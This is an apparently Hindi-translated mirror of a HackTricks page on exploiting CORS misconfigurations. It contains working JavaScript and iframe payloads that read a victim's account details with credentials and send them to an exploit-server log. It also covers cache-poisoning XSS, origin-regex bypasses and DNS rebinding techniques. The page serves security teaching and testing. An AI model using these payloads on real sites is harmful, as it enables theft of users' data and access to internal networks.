mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
371 lines
43 KiB
Markdown
371 lines
43 KiB
Markdown
# CORS - गलत कॉन्फ़िगरेशन और बाईपास
|
|
|
|
<details>
|
|
|
|
<summary><strong> AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
|
|
|
HackTricks का समर्थन करने के अन्य तरीके:
|
|
|
|
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
|
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
|
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
|
|
|
|
</details>
|
|
|
|
## CORS क्या है?
|
|
|
|
CORS (Cross-origin resource sharing) मानक की आवश्यकता होती है क्योंकि यह **सर्वरों को यह निर्दिष्ट करने की अनुमति देता है कि कौन उसकी संपत्तियों तक पहुँच सकता है** और बाहरी संसाधनों से कौन सी **HTTP अनुरोध विधियाँ अनुमत हैं**।
|
|
|
|
एक **समान-मूल** नीति की आवश्यकता होती है कि दोनों **सर्वर अनुरोध करने वाले** एक संसाधन और सर्वर जहाँ **संसाधन** स्थित है उसी प्रोटोकॉल ([http://),डोमेन](http://\),डोमेन) नाम (internal-web.com) और उसी **पोर्ट** (80) का उपयोग करते हैं। फिर, यदि सर्वर समान-मूल नीति को लागू करता है, तो केवल उसी डोमेन और पोर्ट से वेब पेज ही संसाधनों तक पहुँच सकेंगे।
|
|
|
|
निम्नलिखित तालिका दिखाती है कि `http://normal-website.com/example/example.html` में समान-मूल नीति कैसे लागू होगी :
|
|
|
|
| URL पहुँचा | पहुँच अनुमति? |
|
|
| ----------------------------------------- | ---------------------------------- |
|
|
| `http://normal-website.com/example/` | हाँ: समान योजना, डोमेन, और पोर्ट |
|
|
| `http://normal-website.com/example2/` | हाँ: समान योजना, डोमेन, और पोर्ट |
|
|
| `https://normal-website.com/example/` | नहीं: अलग योजना और पोर्ट |
|
|
| `http://en.normal-website.com/example/` | नहीं: अलग डोमेन |
|
|
| `http://www.normal-website.com/example/` | नहीं: अलग डोमेन |
|
|
| `http://normal-website.com:8080/example/` | नहीं: अलग पोर्ट\* |
|
|
|
|
\*_Internet Explorer इस पहुँच को अनुमति देगा क्योंकि IE पोर्ट नंबर को ध्यान में नहीं रखता जब समान-मूल नीति लागू करता है।_
|
|
|
|
### `Access-Control-Allow-Origin` हेडर
|
|
|
|
`Access-Control-Allow-Origin` की विशिष्टता **बहु-मूलों** के लिए, या मान **`null`**, या वाइल्डकार्ड **`*`** के लिए अनुमति देती है। हालांकि, **कोई भी ब्राउज़र बहु-मूलों का समर्थन नहीं करता** और वाइल्डकार्ड `*` के उपयोग पर **प्रतिबंध** हैं।(_वाइल्डकार्ड केवल अकेले उपयोग किया जा सकता है, यह विफल हो जाएगा `Access-Control-Allow-Origin: https://*.normal-website.com` और इसे _Access-Control-Allow-Credentials: true_ के साथ उपयोग नहीं किया जा सकता_)
|
|
|
|
यह हेडर **सर्वर द्वारा वापस किया जाता है** जब एक वेबसाइट क्रॉस-डोमेन संसाधन का अनुरोध करती है, ब्राउज़र द्वारा जोड़े गए `Origin` हेडर के साथ।
|
|
|
|
### `Access-Control-Allow-Credentials` हेडर
|
|
|
|
क्रॉस-ओरिजिन संसाधन अनुरोधों का **डिफ़ॉल्ट** व्यवहार कुकीज़ और Authorization हेडर जैसी क्रेडेंशियल्स के बिना **अनुरोधों** को **पास करने के लिए** है। हालांकि, क्रॉस-डोमेन सर्वर **प्रतिक्रिया को पढ़ने की अनुमति दे सकता है** जब क्रेडेंशियल्स **पास किए जाते हैं** उसके द्वारा CORS **`Access-Control-Allow-Credentials`** हेडर को **`true`** पर सेट करके।
|
|
|
|
यदि मान `true` पर सेट किया गया है तो ब्राउज़र क्रेडेंशियल्स (कुकीज़, अधिकारीकरण हेडर्स या TLS क्लाइंट प्रमाणपत्र) भेजेगा।
|
|
```javascript
|
|
var xhr = new XMLHttpRequest();
|
|
xhr.onreadystatechange = function() {
|
|
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
|
|
console.log(xhr.responseText);
|
|
}
|
|
}
|
|
xhr.open('GET', 'http://example.com/', true);
|
|
xhr.withCredentials = true;
|
|
xhr.send(null);
|
|
```
|
|
|
|
```javascript
|
|
fetch(url, {
|
|
credentials: 'include'
|
|
})
|
|
```
|
|
|
|
```javascript
|
|
const xhr = new XMLHttpRequest();
|
|
xhr.open('POST', 'https://bar.other/resources/post-here/');
|
|
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
|
|
xhr.setRequestHeader('Content-Type', 'application/xml');
|
|
xhr.onreadystatechange = handler;
|
|
xhr.send('<person><name>Arun</name></person>');
|
|
```
|
|
### प्री-फ्लाइट अनुरोध
|
|
|
|
कुछ परिस्थितियों में, जब एक क्रॉस-डोमेन अनुरोध:
|
|
|
|
* **गैर-मानक HTTP विधि (HEAD, GET, POST)** को शामिल करता है
|
|
* नए **हेडर्स** को शामिल करता है
|
|
* विशेष **Content-Type हेडर मान** को शामिल करता है
|
|
|
|
{% hint style="info" %}
|
|
**जांचें** [**इस लिंक में**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) **कि एक अनुरोध की क्या शर्तें हैं जिससे प्री-फ्लाइट अनुरोध भेजने से बचा जा सके**
|
|
{% endhint %}
|
|
|
|
क्रॉस-ओरिजिन अनुरोध से पहले **`OPTIONS`** **विधि** का उपयोग करके एक **अनुरोध** होता है, और CORS प्रोटोकॉल में क्रॉस-ओरिजिन अनुरोध की अनुमति देने से पहले यह जांचना आवश्यक होता है कि कौन सी **विधियाँ और हेडर्स की अनुमति है**। इसे **प्री-फ्लाइट जांच** कहा जाता है। सर्वर **अनुमत विधियों की सूची लौटाता है** इसके अलावा **विश्वसनीय ओरिजिन** और ब्राउज़र यह जांचता है कि क्या अनुरोध करने वाली वेबसाइट की विधि अनुमत है।
|
|
|
|
{% hint style="danger" %}
|
|
ध्यान दें कि **यदि प्री-फ्लाइट अनुरोध नहीं भेजा जाता है** क्योंकि "सामान्य अनुरोध" की शर्तें मानी जाती हैं, तो भी **प्रतिक्रिया में अधिकृत हेडर्स होने चाहिए** या **ब्राउज़र** **प्रतिक्रिया को पढ़ नहीं पाएगा** अनुरोध की।
|
|
{% endhint %}
|
|
|
|
**उदाहरण के लिए**, यह एक प्री-फ्लाइट अनुरोध है जो **`PUT` विधि का उपयोग करने की मांग कर रहा है** एक **कस्टम** अनुरोध **हेडर** के साथ जिसे `Special-Request-Header` कहा जाता है:
|
|
```
|
|
OPTIONS /data HTTP/1.1
|
|
Host: <some website>
|
|
...
|
|
Origin: https://normal-website.com
|
|
Access-Control-Request-Method: PUT
|
|
Access-Control-Request-Headers: Special-Request-Header
|
|
```
|
|
सर्वर निम्नलिखित जैसा प्रतिसाद लौटा सकता है:
|
|
```
|
|
HTTP/1.1 204 No Content
|
|
...
|
|
Access-Control-Allow-Origin: https://normal-website.com
|
|
Access-Control-Allow-Methods: PUT, POST, OPTIONS
|
|
Access-Control-Allow-Headers: Special-Request-Header
|
|
Access-Control-Allow-Credentials: true
|
|
Access-Control-Max-Age: 240
|
|
```
|
|
* `Access-Control-Allow-Headers` अनुमति प्राप्त हेडर्स
|
|
* `Access-Control-Expose-Headers`
|
|
* `Access-Control-Max-Age` प्री-फ्लाइट प्रतिक्रिया को कैशिंग के लिए अधिकतम समय सीमा निर्धारित करता है
|
|
* `Access-Control-Request-Headers` क्रॉस-ओरिजिन अनुरोध जो हेडर भेजना चाहता है
|
|
* `Access-Control-Request-Method` क्रॉस-ओरिजिन अनुरोध जो विधि का उपयोग करना चाहता है
|
|
* `Origin` क्रॉस-ओरिजिन अनुरोध का मूल (ब्राउज़र द्वारा स्वचालित रूप से सेट)
|
|
|
|
|
|
|
|
ध्यान दें कि आमतौर पर (कंटेंट-टाइप और हेडर्स सेट पर निर्भर करते हुए) **GET/POST अनुरोध में कोई प्री-फ्लाइट अनुरोध नहीं भेजा जाता है** (अनुरोध **सीधे** भेजा जाता है), लेकिन यदि आप **प्रतिक्रिया के हेडर्स/बॉडी** तक पहुँचना चाहते हैं, तो इसमें _Access-Control-Allow-Origin_ हेडर होना चाहिए जो इसे अनुमति देता है।\
|
|
**इसलिए, CORS CSRF के खिलाफ सुरक्षा नहीं करता (लेकिन यह सहायक हो सकता है).**
|
|
|
|
### **Local Network Requests Pre-flight request**
|
|
|
|
जब एक अनुरोध को लोकल नेटवर्क IP पते पर भेजा जाता है, 2 अतिरिक्त CORS हेडर्स भेजे जाते हैं:
|
|
|
|
* `Access-Control-Request-Local-Network` क्लाइंट अनुरोध हेडर इंगित करता है कि अनुरोध एक लोकल नेटवर्क अनुरोध है
|
|
* `Access-Control-Allow-Local-Network` सर्वर प्रतिक्रिया हेडर इंगित करता है कि एक संसाधन को बाहरी नेटवर्क के साथ सुरक्षित रूप से साझा किया जा सकता है
|
|
|
|
**लोकल नेटवर्क अनुरोध की अनुमति देने वाली वैध प्रतिक्रिया** में भी प्रतिक्रिया हेडर `Access-Controls-Allow-Local_network: true` होना चाहिए:
|
|
```
|
|
HTTP/1.1 200 OK
|
|
...
|
|
Access-Control-Allow-Origin: https://public.example.com
|
|
Access-Control-Allow-Methods: GET
|
|
Access-Control-Allow-Credentials: true
|
|
Access-Control-Allow-Local-Network: true
|
|
Content-Length: 0
|
|
...
|
|
```
|
|
{% hint style="warning" %}
|
|
ध्यान दें कि linux **0.0.0.0** IP का उपयोग करके इन आवश्यकताओं को **bypass** किया जा सकता है ताकि localhost तक पहुंचा जा सके क्योंकि उस IP पते को "स्थानीय" नहीं माना जाता है।
|
|
|
|
यह भी संभव है कि यदि आप **स्थानीय endpoint के public IP पते** का उपयोग करें (जैसे कि राउटर का public IP), तो **Local Network की आवश्यकताओं को bypass** किया जा सकता है। क्योंकि कई बार, भले ही **public IP** का उपयोग किया जा रहा हो, अगर यह **स्थानीय नेटवर्क से है**, तो पहुंच प्रदान की जाएगी।
|
|
|
|
|
|
{% endhint %}
|
|
|
|
## Exploitable misconfigurations
|
|
|
|
ध्यान दें कि अधिकांश **वास्तविक हमलों के लिए `Access-Control-Allow-Credentials`** को **`true`** पर सेट किया जाना चाहिए क्योंकि इससे ब्राउज़र को क्रेडेंशियल्स भेजने और प्रतिक्रिया पढ़ने की अनुमति मिलेगी। बिना क्रेडेंशियल्स के, कई हमले अप्रासंगिक हो जाते हैं; इसका मतलब है कि आप उपयोगकर्ता के कुकीज़ पर सवारी नहीं कर सकते, इसलिए अक्सर उनके ब्राउज़र से अनुरोध करने के बजाय खुद से अनुरोध करने से कुछ भी हासिल नहीं होता है।
|
|
|
|
एक उल्लेखनीय अपवाद तब होता है जब **पीड़ित का नेटवर्क स्थान किसी प्रकार के प्रमाणीकरण के रूप में काम करता है।** आप पीड़ित के ब्राउज़र का उपयोग प्रॉक्सी के रूप में करके IP-आधारित प्रमाणीकरण को bypass कर सकते हैं और इंट्रानेट एप्लिकेशन तक पहुंच सकते हैं। प्रभाव के मामले में यह DNS rebinding के समान है, लेकिन इसका शोषण करना बहुत कम जटिल है।
|
|
|
|
### Reflected `Origin` in `Access-Control-Allow-Origin`
|
|
|
|
वास्तविक दुनिया में यह हो नहीं सकता क्योंकि **इन 2 मानों के headers को एक साथ निषिद्ध किया गया है।**\
|
|
यह भी सच है कि बहुत से डेवलपर्स **CORS में कई URLs को अनुमति देना चाहते हैं**, लेकिन सबडोमेन वाइल्डकार्ड्स या URLs की सूचियों की अनुमति नहीं है। तब, कई डेवलपर्स **गतिशील रूप से** \*\*`Access-Control-Allow-Origin`\*\*header **उत्पन्न करते हैं**, और कई बार वे बस **Origin header के मान की प्रतिलिपि बनाते हैं।**
|
|
|
|
उस स्थिति में, **वही कमजोरी का शोषण किया जा सकता है।**
|
|
|
|
अन्य मामलों में, डेवलपर यह जांच सकता है कि **डोमेन** (_victimdomain.com_) **Origin header में दिखाई देता है**, तब, एक हमलावर **`attackervictimdomain.com`** नामक डोमेन का उपयोग करके गोपनीय जानकारी चुरा सकता है।
|
|
```html
|
|
<script>
|
|
var req = new XMLHttpRequest();
|
|
req.onload = reqListener;
|
|
req.open('get','https://acc21f651fde5631c03665e000d90048.web-security-academy.net/accountDetails',true);
|
|
req.withCredentials = true;
|
|
req.send();
|
|
|
|
function reqListener() {
|
|
location='/log?key='+this.responseText;
|
|
};
|
|
</script>
|
|
```
|
|
### `null` मूल (Origin)
|
|
|
|
`null` **Origin** हेडर के लिए एक विशेष मान है। विनिर्देशन में इसे रीडायरेक्ट्स और स्थानीय HTML फाइलों द्वारा ट्रिगर किए जाने का उल्लेख है। कुछ एप्लिकेशन स्थानीय विकास का समर्थन करने के लिए `null` मूल को व्हाइटलिस्ट कर सकते हैं।\
|
|
यह अच्छा है क्योंकि **कई एप्लिकेशन इस मान को CORS में अनुमति देंगे** और कोई भी **वेबसाइट आसानी से सैंडबॉक्स्ड iframe का उपयोग करके null मूल प्राप्त कर सकती है**:
|
|
```html
|
|
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
|
|
var req = new XMLHttpRequest();
|
|
req.onload = reqListener;
|
|
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
|
|
req.withCredentials = true;
|
|
req.send();
|
|
function reqListener() {
|
|
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
|
|
};
|
|
</script>"></iframe>
|
|
```
|
|
|
|
```html
|
|
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
|
|
var req = new XMLHttpRequest();
|
|
req.onload = reqListener;
|
|
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
|
|
req.withCredentials = true;
|
|
req.send();
|
|
function reqListener() {
|
|
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
|
|
};
|
|
</script>"></iframe>
|
|
```
|
|
### **Regexp बायपास**
|
|
|
|
यदि आपने पाया कि डोमेन _victim.com_ को **whitelisted** किया गया है, तो आपको जांचना चाहिए कि _victim.com.**attacker.com**_ भी **whitelisted** है या नहीं, या, यदि आप किसी सबडोमेन को **takeover** कर सकते हैं, तो जांचें कि _**somesubdomain**.victim.com_ whitelisted है या नहीं।
|
|
|
|
### **Advance Regexp बायपास**
|
|
|
|
अधिकांश regex जो स्ट्रिंग के अंदर डोमेन की पहचान करने के लिए इस्तेमाल होते हैं, वे alphanumeric ASCII अक्षरों और `.-` पर केंद्रित होते हैं। इसलिए, Origin हेडर में `victimdomain.com{.attacker.com` जैसा कुछ regexp द्वारा `victimdomain.com` के रूप में व्याख्या किया जाएगा, लेकिन ब्राउज़र (इस मामले में Safari इस अक्षर को डोमेन में समर्थन करता है) `attacker.com` डोमेन तक पहुंचेगा।
|
|
|
|
`_` अक्षर (सबडोमेन्स में) केवल Safari में ही नहीं, बल्कि Chrome और Firefox में भी समर्थित है!
|
|
|
|
**तब, उन सबडोमेन्स में से एक का उपयोग करके आप कुछ "सामान्य" regexps को बायपास कर सकते हैं जो URL के मुख्य डोमेन को खोजने के लिए होते हैं।**
|
|
|
|
**इस बायपास की अधिक जानकारी और सेटिंग्स के लिए देखें:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **और** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
|
|
|
.png>)
|
|
|
|
### सबडोमेन के अंदर XSS से
|
|
|
|
CORS शोषण के खिलाफ एक रक्षात्मक तंत्र जो डेवलपर्स इस्तेमाल करते हैं, वह है उन डोमेन्स को white-list करना जो जानकारी के लिए बार-बार एक्सेस की मांग करते हैं। हालांकि, यह पूरी तरह सुरक्षित नहीं है, क्योंकि यदि **whitelisted** डोमेन का **एक भी** सबडोमेन **XSS** जैसे अन्य शोषणों के लिए **संवेदनशील** है, तो यह CORS शोषण को सक्षम कर सकता है।
|
|
|
|
उदाहरण के लिए, निम्नलिखित कोड _requester.com_ के सबडोमेन्स को _provider.com_ के संसाधनों तक पहुंचने की अनुमति देने वाले कॉन्फ़िगरेशन को दिखाता है।
|
|
```javascript
|
|
if ($_SERVER['HTTP_HOST'] == '*.requester.com')
|
|
{
|
|
//Access data
|
|
else{ // unauthorized access}
|
|
}
|
|
```
|
|
### **सर्वर-साइड कैश पॉइज़निंग**
|
|
|
|
यदि संयोग से सब कुछ अनुकूल हो, तो हम HTTP हेडर इंजेक्शन के माध्यम से सर्वर-साइड कैश पॉइज़निंग का उपयोग करके [संग्रहित XSS](https://portswigger.net/web-security/cross-site-scripting/stored) भेद्यता बना सकते हैं।
|
|
|
|
यदि कोई एप्लिकेशन **Origin हेडर** को प्रतिबिंबित करता है बिना इसे अवैध अक्षरों के लिए जांचे, तो हमारे पास **IE/Edge उपयोगकर्ताओं के खिलाफ HTTP हेडर इंजेक्शन भेद्यता है क्योंकि Internet Explorer और Edge \r (0x0d) को मान्य HTTP हेडर समाप्ति मानते हैं**:`GET / HTTP/1.1`\
|
|
`Origin: z[0x0d]Content-Type: text/html; charset=UTF-7`
|
|
|
|
Internet Explorer इस प्रतिक्रिया को इस प्रकार देखता है:
|
|
|
|
`HTTP/1.1 200 OK`\
|
|
`Access-Control-Allow-Origin: z`\
|
|
`Content-Type: text/html; charset=UTF-7`
|
|
|
|
यह सीधे तौर पर भेद्य नहीं है क्योंकि हमलावर के लिए यह संभव नहीं है कि वह किसी के वेब ब्राउज़र को इस तरह का दोषपूर्ण हेडर भेजने के लिए बना सके, लेकिन मैं **Burp Suite में इस अनुरोध को मैन्युअली तैयार कर सकता हूँ और सर्वर-साइड कैश इस प्रतिक्रिया को सहेज सकता है और इसे अन्य लोगों को परोस सकता है**। मैंने जो पेलोड इस्तेमाल किया है वह पृष्ठ के चरित्र सेट को **UTF-7** में बदल देगा, जो XSS भेद्यताओं को बनाने के लिए कुख्यात रूप से उपयोगी है।
|
|
|
|
### **क्लाइंट-साइड कैश पॉइज़निंग**
|
|
|
|
आपने कभी-कभी एक पृष्ठ देखा होगा जिसमें कस्टम HTTP हेडर में [प्रतिबिंबित XSS](https://portswigger.net/web-security/cross-site-scripting/reflected) होता है। मान लीजिए कि एक वेब पृष्ठ किसी कस्टम हेडर की सामग्री को बिना एन्कोडिंग के प्रतिबिंबित करता है:
|
|
```http
|
|
GET / HTTP/1.1
|
|
Host: example.com
|
|
X-User-id: <svg/onload=alert\(1\)>
|
|
|
|
HTTP/1.1 200 OK
|
|
Access-Control-Allow-Origin: \*
|
|
Access-Control-Allow-Headers: X-User-id
|
|
Content-Type: text/html
|
|
...
|
|
Invalid user: <svg/onload=alert\(1\)>\
|
|
```
|
|
CORS के साथ, हम Header में कोई भी मान भेज सकते हैं। अपने आप में, **यह बेकार है** क्योंकि हमारा **इंजेक्ट किया गया JavaScript प्रदर्शित नहीं किया जाएगा**। हालांकि, **अगर Vary: Origin निर्दिष्ट नहीं किया गया है** तो प्रतिक्रिया **ब्राउज़र के कैश में संग्रहीत हो सकती है और जब ब्राउज़र संबंधित URL पर नेविगेट करता है तो सीधे प्रदर्शित की जा सकती है**। मैंने एक fiddle बनाया है ताकि आप [अपनी पसंद के URL पर यह हमला आजमा सकें](https://jsfiddle.net/3gk8u8wu/3/)। चूंकि यह हमला क्लाइंट-साइड कैशिंग का उपयोग करता है, यह वास्तव में काफी विश्वसनीय है।
|
|
```markup
|
|
<script>
|
|
function gotcha() { location=url }
|
|
var req = new XMLHttpRequest();
|
|
url = 'https://example.com/'; // beware of mixed content blocking when targeting HTTP sites
|
|
req.onload = gotcha;
|
|
req.open('get', url, true);
|
|
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
|
|
req.send();
|
|
</script>
|
|
```
|
|
## बाइपास
|
|
|
|
### XSSI (Cross-Site Script Inclusion) / JSONP
|
|
|
|
XSSI एक प्रकार की कमजोरी को दर्शाता है जो इस तथ्य का शोषण करती है कि, जब `script` टैग का उपयोग करके कोई संसाधन शामिल किया जाता है, तो SOP लागू नहीं होता है, क्योंकि स्क्रिप्ट्स को क्रॉस-डोमेन शामिल करने में सक्षम होना चाहिए। इस प्रकार एक हमलावर `script` टैग का उपयोग करके शामिल की गई सभी चीजों को पढ़ सकता है।
|
|
|
|
यह विशेष रूप से तब दिलचस्प होता है जब डायनामिक जावास्क्रिप्ट या JSONP की बात आती है जब प्रमाणीकरण के लिए कुकीज जैसी वातावरण-प्राधिकरण जानकारी का उपयोग होता है। कुकीज को एक अलग होस्ट से संसाधन की मांग करते समय शामिल किया जाता है। BurpSuite प्लगइन: [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp)
|
|
|
|
[**यहां XSSI के विभिन्न प्रकारों और उन्हें कैसे शोषित करें, इसके बारे में और पढ़ें।**](xssi-cross-site-script-inclusion.md)
|
|
|
|
अनुरोध में एक **`callback`** **पैरामीटर** जोड़ने का प्रयास करें। हो सकता है कि पेज डेटा को JSONP के रूप में भेजने के लिए तैयार किया गया हो। ऐसे मामले में पेज डेटा को `Content-Type: application/javascript` के साथ वापस भेजेगा जो CORS नीति को बाइपास करेगा।
|
|
|
|
.png>)
|
|
|
|
### आसान (बेकार?) बाइपास
|
|
|
|
आप एक वेब-एप्लिकेशन से अनुरोध कर सकते हैं कि वह आपके लिए एक अनुरोध करे और प्रतिक्रिया वापस भेजे। इससे **`Access-Control-Allow-Origin`** बाइपास हो जाएगा लेकिन ध्यान दें कि **अंतिम पीड़ित के प्रमाणपत्र नहीं भेजे जाएंगे** क्योंकि आप **एक अलग डोमेन से संपर्क करेंगे** (जो आपके लिए अनुरोध करेगा)।
|
|
|
|
[**CORS-escape**](https://github.com/shalvah/cors-escape)
|
|
|
|
CORS-escape एक **प्रॉक्सी** प्रदान करता है जो हमारे **अनुरोध** को इसके **हेडर्स** के साथ **पास** करता है, और यह **Origin** हेडर को भी **स्पूफ** करता है (Origin = **अनुरोधित डोमेन**). इस प्रकार **CORS नीति बाइपास हो जाती है**।\
|
|
स्रोत कोड [Github पर है](https://github.com/shalvah/cors-escape), इसलिए आप **अपना खुद का होस्ट कर सकते हैं**।
|
|
```javascript
|
|
xhr.open("GET", "https://cors-escape.herokuapp.com/https://maximum.blog/@shalvah/posts");
|
|
```
|
|
[**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape)
|
|
|
|
प्रॉक्सी का मतलब है "आपके अनुरोध को आगे बढ़ाना", जैसा कि आपने भेजा था। हम इसे एक वैकल्पिक तरीके से हल कर सकते हैं जिसमें अभी भी किसी और के द्वारा अनुरोध करना शामिल है, लेकिन इस बार, **आपके अनुरोध को आगे बढ़ाने के बजाय, सर्वर अपना खुद का अनुरोध करता है, लेकिन जो भी पैरामीटर आपने निर्दिष्ट किए हैं उसके साथ।**
|
|
|
|
### Iframe + Popup Bypass
|
|
|
|
आप **CORS जांचों को बायपास कर सकते हैं** जैसे कि `e.origin === window.origin` **एक iframe बनाकर** और **उससे एक नई विंडो खोलकर**। निम्नलिखित पृष्ठ में अधिक जानकारी:
|
|
|
|
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
|
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
|
{% endcontent-ref %}
|
|
|
|
### DNS Rebinding via TTL
|
|
|
|
.png>)
|
|
|
|
मूल रूप से आप **पीड़ित को अपने पृष्ठ पर पहुंचाते हैं**, फिर आप अपने डोमेन के **DNS (आईपी)** को बदलते हैं और इसे **पीड़ित के वेब पृष्ठ** की ओर इशारा करते हैं। आप अपने **पीड़ित को निष्पादित करते हैं** (**JS**) कुछ जब **TTL समाप्त हो जाता है** ताकि एक नया DNS अनुरोध किया जाएगा और फिर आप जानकारी एकत्र कर पाएंगे (क्योंकि आप हमेशा **उपयोगकर्ता को अपने डोमेन में बनाए रखेंगे**, वह **कोई कुकी** पीड़ित सर्वर को नहीं भेजेगा, इसलिए यह विकल्प **पीड़ित के आईपी के विशेष अधिकारों का दुरुपयोग करता है**).
|
|
|
|
यहां तक कि अगर आप **TTL को बहुत कम** सेट करते हैं (0 या 1) **ब्राउज़र में एक कैश होता है** जो आपको **इसका दुरुपयोग** करने से कई सेकंड/मिनटों के लिए **रोकेगा**.
|
|
|
|
इसलिए, यह तकनीक **स्पष्ट जांचों को बायपास करने** के लिए उपयोगी है (पीड़ित **स्पष्ट रूप से DNS अनुरोध कर रहा है** डोमेन के आईपी की जांच करने के लिए और जब बॉट को बुलाया जाता है तो वह अपना खुद का करेगा).
|
|
|
|
या जब आपके पास एक **उपयोगकर्ता/बॉट एक ही पृष्ठ पर लंबे समय तक हो** (ताकि आप **प्रतीक्षा कर सकें** जब तक कि **कैश समाप्त नहीं हो जाता**).
|
|
|
|
अगर आपको इसका दुरुपयोग करने के लिए कुछ तेज़ चाहिए तो आप [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html) जैसी सेवा का उपयोग कर सकते हैं।
|
|
|
|
अगर आप अपना खुद का DNS रिबाइंडिंग सर्वर चलाना चाहते हैं तो आप [**DNSrebinder**](https://github.com/mogwailabs/DNSrebinder)**,** का उपयोग कर सकते हैं, फिर अपने **स्थानीय पोर्ट 53/udp को उजागर करें**, एक **A रजिस्ट्री इसके लिए बनाएं** (ns.example.com), और एक **NS रजिस्ट्री बनाएं** जो **पहले बनाए गए A सबडोमेन की ओर इशारा करती है**(ns.example.com).\
|
|
तब, उस सबडोमेन का कोई भी सबडोमेन (ns.example.com), आपके होस्ट द्वारा हल किया जाएगा।
|
|
|
|
[**http://rebind.it/singularity.html**](http://rebind.it/singularity.html) में **सार्वजनिक रूप से चल रहे सर्वर को भी देखें**
|
|
|
|
### DNS Rebinding via **DNS Cache Flooding**
|
|
|
|
जैसा कि पिछले अनुभाग में समझाया गया था, **ब्राउज़र** डोमेन के आईपी को TTL में निर्दिष्ट समय से **अधिक समय तक कैश करते हैं**। हालांकि, इस बचाव को बायपास करने का एक तरीका है।
|
|
|
|
आपके पास एक सर्विस वर्कर हो सकता है जो **DNS कैश को बाढ़ कर दूसरे DNS अनुरोध को मजबूर करेगा**। तो प्रवाह इस तरह होगा:
|
|
|
|
1. DNS अनुरोध हमलावर के पते के साथ उत्तर दिया गया
|
|
2. सर्विस वर्कर DNS कैश को बाढ़ देता है (कैश किया गया हमलावर सर्वर का नाम मिटा दिया जाता है)
|
|
3. दूसरा DNS अनुरोध इस बार 127.0.0.1 के साथ उत्तर दिया गया
|
|
|
|
 (1).png>)
|
|
|
|
_नीला पहला DNS अनुरोध है और नारंगी बाढ़ है।_
|
|
|
|
### DNS Rebinding via **Cache**
|
|
|
|
जैसा कि पिछले अनुभाग में समझाया गया था, **ब्राउज़र** डोमेन के आईपी को TTL में निर्दिष्ट समय से **अधिक समय तक कैश करते हैं**। हालांकि, इस बचाव को बायपास करने का एक और तरीका है।
|
|
|
|
आप **2 A रिकॉर्ड बना सकते हैं** (या **1 को 2 आईपी के साथ**, प्रदाता पर निर्भर करता है) **एक ही सबडोमेन के लिए** **DNS प्रदाता** में और जब एक ब्राउज़र उन्हें चेक करता है तो वह दोनों प्राप्त करेगा।
|
|
|
|
अब, अगर **ब्राउज़र** पहले **हमलावर के आईपी पते का उपयोग करने का फैसला करता है**, तो **हमलावर** **पेलोड को सेवा देने में सक्षम होगा** जो **उसी डोमेन के लिए HTTP अनुरोध करेगा**। हालांकि, अब जब हमलावर को पीड़ित का आईपी पता पता चल जाता है, **वह पीड़ित ब्राउज़र को उत्तर देना बंद कर देगा**।
|
|
|
|
जब ब्राउज़र पाता है कि **डोमेन उसे उत्तर नहीं दे रहा है**, तो वह **दूसरे दिए गए आईपी का उपयोग करेगा**, इसलिए वह **SOP को बायपास करते हुए एक अलग जगह तक पहुंचेगा**। हमलावर उसका दुरुपयोग कर सकता है **जानकारी प्राप्त करने और उसे निकालने के लिए**।
|
|
|
|
{% hint style="warning" %}
|
|
ध्यान दें कि लोकलहोस्ट तक पहुंचने के लिए आपको Windows में **127.0.0.1** को रिबाइंड करने की कोशिश करनी चाहिए और Linux में **0.0.0.0**।\
|
|
प्रदाता जैसे कि godaddy या cloudflare ने मुझे 0.0.0.0 का आईपी उपयोग करने की अनुमति नहीं दी, लेकिन AWS route53 ने मुझे एक A रिकॉर्ड बनाने की अनुमति दी जिसमें 2 आईपी होते हैं जिनमें से एक "0.0.0.0" होता है
|
|
|
|
<img src="../.gitbook/assets/image (638) (2) (1) (1) (1).png" alt="" data-size="original">
|
|
{% endhint %}
|
|
|
|
 (4).png>)
|
|
|
|
